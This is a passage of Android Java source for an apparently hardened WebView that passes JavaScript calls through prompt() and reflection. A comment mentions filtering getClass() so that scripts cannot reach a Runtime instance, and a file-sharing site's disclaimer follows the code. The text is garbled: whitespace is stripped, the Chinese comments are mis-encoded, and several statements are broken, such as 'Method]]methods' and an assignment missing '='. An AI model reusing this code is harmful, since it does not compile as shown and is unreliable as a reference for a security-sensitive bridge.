JavascriptInterface(interfaceName);}else{mJsInterfaceMap.remove(interfaceName);//每次remove之后,都需要重新構(gòu)造JS注入mJsStringCache=null;injectJavascriptInterfaces();}}/***如果WebView是SafeWebView類型,則向JavaScriptContext注入對(duì)象確保WebView是有安全機(jī)制的*/privatevoidinjectJavascriptInterfaces(WebViewwebView){if(webViewinstanceofSafeWebView){injectJavascriptInterfaces();/***注入我們構(gòu)造的JS*/privatevoidinjectJavascriptInterfaces(){if(!TextUtils.isEmpty(mJsStringCache)){loadUrl(mJsStringCache);return;}mJsStringCache=genJavascriptInterfacesString();loadUrl(mJsStringCache);}/***根據(jù)緩存的待注入java對(duì)象,生成映射的JavaScript代碼,也就是橋梁(SDK4.2之前通過反射生成)*/privateStringgenJavascriptInterfacesString(){if(mJsInterfaceMap.size()==0){returnnull;}/**要注入的JS的格式,其中XXX為注入的對(duì)象的方法名,例如注入的對(duì)象中有一個(gè)方法A,那么這個(gè)XXX就是A如果這個(gè)對(duì)象中有多個(gè)方法,則會(huì)注冊(cè)多個(gè)window.XXX_js_interface_name塊,我們是用反射的方法遍歷*注入對(duì)象中的帶有@JavaScripterInterface標(biāo)注的方法**javascript:(functionJsAddJavascriptInterface_(){if(typeof(window.XXX_js_interface_name)!='undefined'){console.log('window.XXX_js_interface_nameisexist!!');*}else{window.XXX_js_interface_name={XXX:function(arg0,arg1){returnprompt('MyApp:'+JSON.stringify({obj:'XXX_js_interface_name',func:'XXX_',args:[arg0,arg1]}))},};*})()*/Iterator<Map.Entry<String,Object>>iteratormJsInterfaceMap.entrySet().iterator();//HEADStringBuilderscript=newStringBuilder();script.append("javascript:(functionJsAddJavascriptInterface_(){");//遍歷待注入java對(duì)象,生成相應(yīng)的js對(duì)象try{while(iterator.hasNext()){Map.Entry<String,Object>entry=iterator.next();StringinterfaceName=entry.getKey();Objectobj=entry.getValue();//生成相應(yīng)的js方法createJsMethod(interfaceName,obj,script);}}catch(Exceptione){e.printStackTrace();}//Endscript.append("})()");returnscript.toString();}/**根據(jù)待注入的java對(duì)象,生成js方法*@paraminterfaceName對(duì)象名@paramobj 待注入的java對(duì)象@paramscript js代碼*/privatevoidcreateJsMethod(StringinterfaceName,Objectobj,StringBuilderscript){if(TextUtils.isEmpty(interfaceName)||(null==obj)||(null==script)){return;}Class<?extendsObject>objClass=obj.getClass();script.append("if(typeof(window.").append(interfaceName).append(")!='undefined'){");if(DEBUG){script.append("console.log('window."+interfaceName+script.append(""_js_interface_nameisexist!!');");}script.append("}else{");script.append("window.").append(interfaceName).append("={");//通過反射機(jī)制,添加java對(duì)象的方法Method]]methods=objClass.getMethods();for(Methodmethod:methods){StringmethodName=method.getName();//過濾掉Object類的方法,包括getClass()方法,因?yàn)樵贘s中就是通過getClass()方法來得到Runtime實(shí)例if(filterMethods(methodName)){continue;}script.append(" ").append(methodName).append(":function(");//添加方法的參數(shù)intargCount=method.getParameterTypes().length;if(argCount>0){intmaxCount=argCount-1;for(inti=0;i<maxCount;++i){script.append(VAR_ARG_PREFIX).append(i).append(",");}script.append(VAR_ARG_PREFIX).append(argCount-1);}script.append("){");//Addimplementationif(method.getReturnType()!=void.class){script.append(" return").append("prompt('").append(MSG_PROMPT_HEADER).append("'+");}else{script.append("prompt('").append(MSG_PROMPT_HEADER).append("'+");}//BeginJSONscript.append("JSON.stringify({");script.append(KEY_INTERFACE_NAME).append(":'").append(interfaceName).append("',");script.append(KEY_FUNCTION_NAME).append(":'").append(methodName).append("',");script.append(KEY_ARG_ARRAY).append(":[");//添加參數(shù)到JSON串中if(argCount>0){intmax=argCount-1;for(inti=0;i<max;i++){script.append(VAR_ARG_PREFIX).append(i).append(",");}script.append(VAR_ARG_PREFIX).append(max);}//EndJSONscript.append("]})");//Endpromptscript.append(");");//Endfunction},");script.append("},");}//Endofobjscript.append("};");//Endofiforelsescript.append("}");}/***檢查是否是被過濾的方法*/privatebooleanfilterMethods(StringmethodName){for(Stringmethod:mFilterMethods){if(method.equals(methodName)){returntrue;}}returnfalse;}/**利用反射,調(diào)用java對(duì)象的方法。<p>從緩存中取出key=interfaceName的java對(duì)象,并調(diào)用其methodName方法*@paramresult@paraminterfaceName對(duì)象名@parammethodName方法名

*@paramargs*@paramargs*@return參數(shù)列表*/privatebooleaninvokeJSInterfaceMethod(JsPromptResultresult,StringinterfaceName,StringmethodName,Object[]args){booleansucceed=false;finalObjectobj=mJsInterfaceMap.get(interfaceName);if(null==obj){result.cancel();returnfalse;}Class<?>[]parameterTypes=null;intcount=0;if(args!=null){count=args.length;}if(count>0){parameterTypes=newClass[count];for(inti=0;i<count;++i){parameterTypes[i]=getClassFromJsonObject(args[i]);}}try{Methodmethod=obj.getClass().getMethod(methodName,parameterTypes);ObjectreturnObj=method.invoke(obj,args);//執(zhí)行接口調(diào)用booleanisVoid=returnObj==null||returnObj.getClass()==void.class;StringreturnValue=isVoid?"":returnObj.toString();result.confirm(returnValue);//通過prompt返回調(diào)用結(jié)果succeed=true;}catch(NoSuchMethodExceptione){e.printStackTrace();}catch(Exceptione){e.printStackTrace();}result.cancel();returnsucceed;}/****@paramobj*@return*/privateClass<?>getClassFromJsonObject(Objectobj){Class<?>cls=obj.getClass();//js對(duì)象只支持intbooleanstring三種類型if(cls==Integer.class){cls=Integer.TYPE;}elseif(cls==Boolean.class){cls=Boolean.TYPE;}else{cls=String.class;}returncls;}/***解析JavaScript調(diào)用prompt的參數(shù)message,提取出對(duì)象名、方法名,以及參數(shù)列表,再利用反射,調(diào)用java對(duì)象的方法。*@paramview@paramurl@param messageMyApp:{"obj":"jsInterface","func":"onButtonClick","args":['從JS中傳遞過來的文本?。?!”]}@paramdefaultValue@paramresult@return*/privatebooleanhandleJsInterface(WebViewview,Stringurl,Stringmessage,St

溫馨提示

  • 1. 本站所有資源如無特殊說明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請(qǐng)下載最新的WinRAR軟件解壓。
  • 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請(qǐng)聯(lián)系上傳者。文件的所有權(quán)益歸上傳用戶所有。
  • 3. 本站RAR壓縮包中若帶圖紙,網(wǎng)頁內(nèi)容里面會(huì)有圖紙預(yù)覽,若沒有圖紙預(yù)覽就沒有圖紙。
  • 4. 未經(jīng)權(quán)益所有人同意不得將文件中的內(nèi)容挪作商業(yè)或盈利用途。
  • 5. 人人文庫網(wǎng)僅提供信息存儲(chǔ)空間,僅對(duì)用戶上傳內(nèi)容的表現(xiàn)方式做保護(hù)處理,對(duì)用戶上傳分享的文檔內(nèi)容本身不做任何修改或編輯,并不能對(duì)任何下載內(nèi)容負(fù)責(zé)。
  • 6. 下載文件中如有侵權(quán)或不適當(dāng)內(nèi)容,請(qǐng)與我們聯(lián)系,我們立即糾正。
  • 7. 本站不保證下載資源的準(zhǔn)確性、安全性和完整性, 同時(shí)也不承擔(dān)用戶因使用這些下載資源對(duì)自己和他人造成任何形式的傷害或損失。

評(píng)論

0/150

提交評(píng)論